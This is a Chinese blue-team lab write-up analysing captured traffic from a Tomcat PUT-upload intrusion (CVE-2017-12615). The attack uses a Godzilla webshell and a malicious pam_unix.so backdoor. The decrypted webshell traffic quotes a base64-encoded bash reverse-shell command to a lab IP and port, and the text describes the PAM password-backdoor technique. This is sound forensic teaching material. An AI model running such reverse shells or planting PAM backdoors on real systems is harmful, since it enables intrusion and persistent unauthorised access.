前言
登录服务器并结合数据包附件来分析黑客的入侵行为,其中只有第12题需要上机,其他的用数据包附件分析即可
用户名:root
密码:[email protected]
SSH连接:ssh root@ip -p 222
注意SSH端口是222
哥斯拉流量特征
哥斯拉静态特征
在默认编码情况下,jsp会出现密钥xc、密码pass和Java反射等特征

哥斯拉动态特征
User-Agent字段(弱特征):如采用默认情况,会暴露使用的jdk信息,不过哥斯拉支持自定义HTTP头部,这个默认特征可以去除
Accept字段(弱特征):默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。
,这个也可以修改,只能作为辅助手段
Cookie最后会有个分号

而正常流量如果没有分点,一般没有分号

- 响应数据的格式是固定的:
MD5前半部分 + AES加密并Base64编码的结果 + MD5后半部分
索引

玄机题目
步骤#1
黑客的IP是什么?
首先通过wireshark语法筛选出http流量并过滤掉404状态码
1
| http and !(http.response.code == 404)
|
分析流量,可以发现前面有很多GET请求,判断这是攻击者在进行目录扫描

查看IP统计进一步确认


可以看到这两个IP出现数量很多,结合前面的分析,因此192.168.31.190是攻击者IP,192.168.31.168是受害者IP
步骤#2
黑客是通过什么漏洞进入服务器的?(提交CVE编号)
继续分析流量,发现攻击者用PUT请求上传了一个文件

追踪HTTP流


出现了密钥xc、密码pass和Java反射类等,符合哥斯拉webshell特征,因此这个hello.jsp文件就是木马文件
继续分析前面的正常文件,发现网站是Tomcat搭建的

且攻击者PUT方法上传文件之后网站状态码为201

因此这是一个Tomcat的PUT文件上传漏洞,上网搜索对应漏洞即可
参考链接:https://www.cnblogs.com/Junglezt/p/18123082
搜索得到漏洞编号为CVE-2017-12615
步骤#3
黑客上传的木马文件名是什么?(提交文件名)
由步骤二可知,木马文件名为hello.jsp
步骤#4
黑客上传的木马连接密码是什么?
参考步骤二可知,连接密码为7f0e6f
也可以通过看Webshell通信包得到连接密码

步骤#5
黑客上传的木马解密密钥是什么?
由步骤二可知,密钥为1710acba6220f62b
步骤#6
黑客连接webshell后执行的第一条命令是什么?
这里用到abc123师傅开发的蓝队分析研判工具箱,感谢师傅开源
Github地址:https://github.com/abc123info/BlueTeamTools
首先用wireshark语法把hello.jsp的通信流量全部筛选出来
1
| http.request.method == POST and http.request.uri contains "hello.jsp"
|

可以看到总共18个数据包,逐个追踪HTTP流

用蓝队分析研判工具箱进行解密,把请求的body复制进去,然后点击解密请求数据包

解密发现数据流44、45只是连接哥斯拉时默认执行的,因此忽略不计,从数据流46开始分析
以下是数据流46到结尾的解密结果
数据流46
1 2 3 4
| 请求 cmdLine sh -c "cd "/";uname -r" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";uname -r" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";uname -rmethodName execCommand 响应 4.19.0-25-amd64
|
数据流47
1 2 3 4
| 请求 cmdLine sh -c "cd "/";id" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";id" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";idmethodName execCommand 响应 uid=0(root) gid=0(root) groups=0(root)
|
数据流48
1 2 3 4 5 6 7 8 9 10 11 12
| 请求 cmdLine sh -c "cd "/";cat /etc/os-release" 2>&1arg-3 2>&1executableFile shexecutableArgs$ -c "cd "/";cat /etc/os-release" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";cat /etc/os-releasemethodName execCommand 响应 PRETTY_NAME="Debian GNU/Linux 10 (buster)" NAME="Debian GNU/Linux" VERSION_ID="10" VERSION="10 (buster)" VERSION_CODENAME=buster ID=debian HOME_URL="https://www.debian.org/" SUPPORT_URL="https://www.debian.org/support" BUG_REPORT_URL="https://bugs.debian.org/"
|
数据流49
1 2 3 4 5 6 7 8 9
| 请求1 cmdLine & sh -c "cd "/";rmp -qa | grep pam" 2>&1arg-3 2>&1executableFile shexecutableArgs # -c "cd "/";rmp -qa | grep pam" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";rmp -qa | grep pammethodName execCommand 响应1 2>&1: 1: 2>&1: rmp: not found
请求2 cmdLine sh -c "cd "/";id" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";id" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";idmethodName xecCommand 响应2 uid=0(root) gid=0(root) groups=0(root)
|
数据流50
1 2 3 4
| 请求 cmdLine & sh -c "cd "/";rpm -qa | grep pam" 2>&1arg-3 2>&1executableFile shexecutableArgs # -c "cd "/";rpm -qa | grep pam" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";rpm -qa | grep pammethodName execCommand 响应 2>&1: 1: 2>&1: rpm: not found
|
数据流51
1 2 3 4 5 6 7 8 9
| 请求 cmdLine 0 sh -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-3 2>&1executableFile shexecutableArgs - -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-0 shargsCount 4arg-1 -carg-2 # cd "/";dpkg -l libpam-modules:amd64methodName execCommand 响应 Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Architecture Description +++-====================-============-============-======================================== ii libpam-modules:amd64 1.3.1-5 amd64 Pluggable Authentication Modules for PAM
|
数据流52
1 2 3 4
| 请求 cmdLine l sh -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-3 2>&1executableFile shexecutableArgs i -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-0 shargsCount 4arg-1 -carg-2 _ cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bashmethodName execCommand 响应 空
|
数据流53
空
数据流54
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| 请求 methodName getFiledirName / 响应 ok // wget-log 1 2024-09-19 08:15:47 0 RW lib 0 2024-09-18 08:06:13 4096 RWX usr 0 2023-12-25 02:31:52 4096 RWX lib32 0 2023-12-25 02:31:48 4096 RWX libx32 0 2023-12-25 02:31:48 4096 RWX lost+found 0 2023-12-25 02:31:44 16384 RWX sbin 0 2024-09-18 08:06:06 12288 RWX vmlinuz 1 2023-08-07 22:35:25 5283136 RW opt 0 2024-09-19 08:41:28 4096 RWX mnt 0 2023-12-25 02:31:52 4096 RWX etc 0 2024-09-19 07:35:49 4096 RWX root 0 2024-09-19 08:41:48 4096 RWX srv 0 2023-12-25 02:31:52 4096 RWX proc 0 2024-09-19 06:29:54 0 RWX dev 0 2024-09-19 06:29:58 3160 RWX initrd.img.old 1 2023-12-25 02:32:56 28089917 RW initrd.img 1 2023-12-25 02:34:12 28246009 RW vmlinuz.old 1 2020-07-24 14:46:18 5274864 RW var 0 2023-12-25 02:31:52 4096 RWX wget-log.1 1 2024-09-19 08:15:47 0 RW lib64 0 2024-09-18 08:05:13 4096 RWX media 0 2023-12-25 02:31:45 4096 RWX boot 0 2023-12-25 02:41:35 1024 RWX tmp 0 2024-09-19 09:00:35 4096 RWX run 0 2024-09-19 09:00:35 600 RWX wget-log.2 1 2024-09-19 08:15:47 0 RW home 0 2023-12-25 02:43:00 4096 RWX bin 0 2024-09-19 07:35:48 28672 RWX sys 0 2024-09-19 06:29:55 0 RWX
|
数据流55
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| 请求 methodName getFiledirName /tmp/ 响应 ok /tmp/ ssh-rJgBkHZMg0 0 2024-09-19 08:30:00 4096 RWX code-8a1ad303-d54a-4ee6-bf06-79c09e867bed 1 2024-09-19 08:15:43 0 RWX .XIM-unix 0 2024-09-19 06:29:59 4096 RWX ssh-vWnAfxielC 0 2024-09-19 08:43:32 4096 RWX ssh-HqBIxaU2OF 0 2024-09-19 08:15:37 4096 RWX hsperfdata_root 0 2024-09-19 06:29:59 4096 RWX systemd-private-fe1119a9e31340ada72ff5bdd7dcb056-systemd-timesyncd.service-wVf4Jf 0 2024-09-19 06:29:59 4096 RWX 1.pcap 1 2024-09-19 09:03:14 1490944 RW .Test-unix 0 2024-09-19 06:29:59 4096 RWX .X11-unix 0 2024-09-19 06:29:59 4096 RWX .ICE-unix 0 2024-09-19 06:29:59 4096 RWX .font-unix 0 2024-09-19 06:29:59 4096 RWX ssh-P22RjIKAZ3 0 2024-09-19 08:19:17 4096 RWX ssh-F8xrTEcjZ2 0 2024-09-19 08:39:58 4096 RWX ssh-JmgaMLTFgu 0 2024-09-19 08:21:23 4096 RWX ssh-r6qMz7wlBA 0 2024-09-19 09:00:35 4096 RWX
|
数据流56
1 2 3 4
| 请求 fileName /tmp/pam_unix.sofileValue NELF 响应 ok
|
数据流57
1 2 3 4
| 请求 cmdLine l sh -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-3 2>&1executableFile shexecutableArgs i -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-0 shargsCount 4arg-1 -carg-2 _ cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bashmethodName execCommand 响应 空
|
分析数据流46,前面的cmdLine sh -c "cd "/"
是哥斯拉自动执行的,后面的uname -r
是攻击者执行的,因此答案就是这个
步骤#7
黑客连接webshell时查询当前shell的权限是什么?
由步骤六的数据流47可知,攻击者执行了命令id
,用于查询用户和用户组相关的身份信息
1
| uid=0(root) gid=0(root) groups=0(root)
|
因此当前shell的权限就是root
步骤#8
黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?
分析步骤六中的数据流,发现数据流48运行了命令cat /etc/os-release
,该命令主要作用是查看 Linux 操作系统的详细版本和发行相关信息
1 2 3 4 5 6 7 8 9
| PRETTY_NAME="Debian GNU/Linux 10 (buster)" NAME="Debian GNU/Linux" VERSION_ID="10" VERSION="10 (buster)" VERSION_CODENAME=buster ID=debian HOME_URL="https://www.debian.org/" SUPPORT_URL="https://www.debian.org/support" BUG_REPORT_URL="https://bugs.debian.org/"
|
因此答案就是PRETTY_NAME的值
1
| flag{Debian GNU/Linux 10 (buster)}
|
步骤#9
黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)
数据流49,攻击者先是错误地输入了 rmp
,发现命令不存在
然后数据流50中攻击者修正了命令为 rpm
,执行rpm -qa | grep pam
,但是返回结果仍显示not found
1
| 2>&1: 1: 2>&1: rpm: not found
|
rpm命令是用于管理RPM包的命令行工具,这个命令是在查询pam相关的包,pam模块与Linux的用户认证有关,是一个非常敏感和危险的位置
在数据流51,攻击者根据之前的失败,推断出这不是一个基于RPM的系统(如CentOS),转而使用Debian/Ubuntu系的 dpkg
命令进行查询,并成功获取了信息
1 2 3 4 5 6
| Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Architecture Description +++-====================-============-============-======================================== ii libpam-modules:amd64 1.3.1-5 amd64 Pluggable Authentication Modules for PAM
|
攻击者执行成功的命令就是dpkg -l libpam-modules:amd64
1
| flag{dpkg -l libpam-modules:amd64}
|
步骤#10
黑客留下后门的反连的IP和PORT是什么?(IP:PORT)
数据流52中的请求体中存在base64编码
1
| L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==
|
解码后得到结果为

很明显,这个就是反连命令,因此IP是192.168.31.143,端口为1313
1
| flag{192.168.31.143:1313}
|
步骤#11
黑客通过什么文件留下了后门?
继续分析步骤六中的数据包,发现数据流56跟文件相关
1 2 3 4
| 请求 fileName /tmp/pam_unix.sofileValue NELF 响应 ok
|
攻击者上传了一个恶意的PAM模块文件 pam_unix.so
。该方法攻击原理是,用这个恶意文件替换掉Linux系统中负责密码验证的核心模块,从而植入一个“万能密码”(例如 password123
)或“后门用户”(无论输入什么密码都能成功),从而实现对系统身份认证机制的劫持
可以看到攻击者上传路径为/tmp/pam_unix.so
,这个先记住,后面有用
因此后门文件就是这个
步骤#12
黑客设置的后门密码是什么?
连接到玄机靶场机器,进去后执行history
查看攻击者执行的历史命令

可以看到,攻击者先将系统正常的用户密码认证模块(pam_unix.so
)备份成一个隐藏文件,然后用自己上传的、含有后门功能的同名恶意文件(/tmp/pam_unix.so
)替换掉原始文件(/lib/x86_64-linux-gnu/security/pam_unix.so
)
直接在/tmp
里面查找会找不到pam_unix.so
,估计是攻击者删除了

那我们去/lib/x86_64-linux-gnu/security
目录查找,成功找到目标文件

将pam_unix.so
拷贝下来,用IDA进行静态分析
pam_sm_authenticate
是 Linux PAM(可插拔认证模块,Pluggable Authentication Modules)中认证服务模块的核心函数,专门用于验证用户身份
因此我们找到函数pam_sm_authenticate
进行分析,成功获得后门密码XJ@123

步骤#13
黑客的恶意dnslog服务器地址是什么?
wireshark语法搜索dns,可以找到黑客的恶意dnslog服务器地址,但是要注意这个地址后面有个点号(后面分析IDA发现的)

或者可以通过IDA分析pam_sm_authenticate
认证函数来获取dnslog地址

1
| flag{c0ee2ad2d8.ipv6.xxx.eu.org.}
|
参考
momo安全:https://mp.weixin.qq.com/s/rhPT5H0IZ4nm6JcgacRg8Q